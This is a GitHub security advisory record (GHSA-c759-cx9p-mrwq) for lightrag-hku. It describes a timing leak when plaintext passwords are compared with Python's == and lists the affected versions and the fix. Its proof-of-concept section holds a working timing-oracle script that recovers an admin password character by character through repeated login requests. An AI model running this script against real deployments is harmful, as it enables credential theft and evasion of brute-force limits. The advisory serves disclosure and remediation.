{"id":"GHSA-c759-cx9p-mrwq","summary":"lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function","details":"### Summary\nWhen plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.\n\n### Details\n\n```python\n# lightrag/api/passwords.py:13-26\ndef verify_password(plain_password: str, stored_password: str) -\u003e bool:\n    if stored_password.startswith(\"{bcrypt}\"):\n        ...\n        return bcrypt.checkpw(...)    # constant-time  OK\n\n    return stored_password == plain_password  # NOT constant-time  VULN\n    #   Python == short-circuits on first mismatched byte\n    #   Timing leaks: password length + individual characters\n```\n\n### PoC\n\n```python\n# Timing oracle: recover password char-by-char\nimport httpx, time, string\n\nTARGET = \"http://\u003cTARGET\u003e:9621/login\"\nUSER   = \"admin\"\n\ndef measure(pwd: str) -\u003e float:\n    t = time.perf_counter()\n    httpx.post(TARGET, data={\"username\": USER, \"password\": pwd})\n    return time.perf_counter() - t\n\nknown = \"\"\nfor _ in range(32):\n    best = max(string.printable,\n               key=lambda c: sum(measure(known+c+\"A\"*20) for _ in range(10)))\n    known += best\n    print(f\"Recovered: {known}\")\n```\n\n### Impact\nObservable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.","aliases":["CVE-2026-85725"],"modified":"2026-09-22T21:00:04.674361275Z","published":"2026-09-22T20:40:19Z","database_specific":{"cwe_ids":["CWE-208"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-09-22T20:40:19Z","nvd_published_at":"2026-09-22T17:17:27Z"},"references":[{"type":"WEB","url":"https://github.com/HKUDS/LightRAG/security/advisories/GHSA-c759-cx9p-mrwq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85725"},{"type":"WEB","url":"https://github.com/HKUDS/LightRAG/pull/3423"},{"type":"WEB","url":"https://github.com/HKUDS/LightRAG/commit/89849c3ed0e0380345a6b5bade027cfb9a5bf32c"},{"type":"PACKAGE","url":"https://github.com/HKUDS/LightRAG"},{"type":"WEB","url":"https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5"}],"affected":[{"package":{"name":"lightrag-hku","ecosystem":"PyPI","purl":"pkg:pypi/lightrag-hku"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.5"}]}],"versions":["0.0.2","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9","1.0.0","1.0.1","1.0.3","1.0.5","1.0.6","1.0.8","1.0.9","1.1.0","1.1.1","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.2.1","1.2.2","1.2.3","1.2.5","1.2.6","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.3.8","1.3.9","1.4.0","1.4.1","1.4.10","1.4.11","1.4.11rc2","1.4.12","1.4.12rc1","1.4.13","1.4.13rc1","1.4.14","1.4.15","1.4.16","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8.1","1.4.8.2","1.4.8rc4","1.4.8rc6","1.4.8rc7","1.4.8rc8","1.4.8rc9","1.4.9","1.4.9.1","1.4.9.10","1.4.9.11","1.4.9.2","1.4.9.3","1.4.9.4","1.4.9.4rc1","1.4.9.5","1.4.9.6","1.4.9.7","1.4.9.8","1.4.9.9","1.4.9rc1","1.4.9rc2","1.4.9rc3","1.4.9rc4","1.5.0","1.5.0rc1","1.5.0rc2","1.5.0rc3","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5rc1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-c759-cx9p-mrwq/GHSA-c759-cx9p-mrwq.json","last_known_affected_version_range":"\u003c= 1.5.4"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N"}]}